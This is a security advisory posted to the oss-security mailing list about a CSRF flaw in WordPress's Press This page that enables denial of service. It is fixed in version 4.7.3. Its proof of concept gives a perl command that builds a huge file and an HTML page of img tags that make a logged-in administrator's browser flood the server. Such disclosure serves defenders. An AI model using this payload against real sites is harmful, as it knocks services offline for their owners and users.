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Date: Tue, 7 Mar 2017 00:02:13 +0100
From: Summer of Pwnage <lists@...urify.nl>
To: oss-security@...ts.openwall.com
Subject: Cross-Site Request Forgery in WordPress Press This function allows
 DoS

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Cross-Site Request Forgery in WordPress Press This function allows DoS
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Sipke Mellema, July 2016

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Abstract
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A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press
This page of WordPress. This issue can be used to create a Denial of
Service (DoS) condition  if an authenticated administrator visits a
malicious URL.

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OVE ID
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OVE-20160718-0005

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Tested versions
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This issue was successfully tested on WordPress [2] version 4.5.3.

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Fix
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This issue is resolved in WordPress version 4.7.3. [3]

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Introduction
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WordPress is web software you can use to create a website, blog, or
app. A Cross-Site Request Forgery (CSRF) vulnerability exists on the
Press This page of WordPress. This issue can be used to create a Denial
of Service (DoS) condition of an affected WordPress site.

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Details
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WordPress' Press This [4] function allows quick publishing with a
special web browser bookmarklet. An admin can also visit the Press This
page directly. One of the features of Press This is scanning an external
server for embeddable content. This is done with a GET request to:
/wp-admin/press-this.php?u=<URL>&url-scan-submit=Scan

When this URL is called, Press This will download the page located at
"URL" and look for content such as images and other embeddable elements.
No maximum is set for the amount of data Press This can retrieve when
scanning. This behavior can be abused by setting the external URL to a
huge file and have an authenticated admin visit it. The PHP process will
use 100% of its CPU resources to process the file. If an authenticated
admin can be lured to an external page, then the malicious URL can be
called many times, blocking all PHP server threads. This will cause the
server to be unreachable for a while.

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Proof of concept
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On an external server, create a large text file with the command:
perl -e 'print "<>"x28000000' > foo.txt

Next, create a file called dos.html on the external server with enough
entries to fill the connection pool of the WordPress server, as follows:
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=b'>
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=c'>
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=d'>
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=e'>
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=f'>
<img src='http://<wp
server>/wp-admin/press-this.php?u=http%3A%2F%2F<external
server>%2Ffoo.txt&url-scan-submit=Scan&a=g'>
[..]
(replace <wp server> with the WordPress server address and <external
server> with the external server)

Now have a logged in admin visit dos.html. The server will be down for a
while.
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References
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[1] 
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html
[2] https://wordpress.org/
[3] 
https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
[5] https://codex.wordpress.org/Press_This

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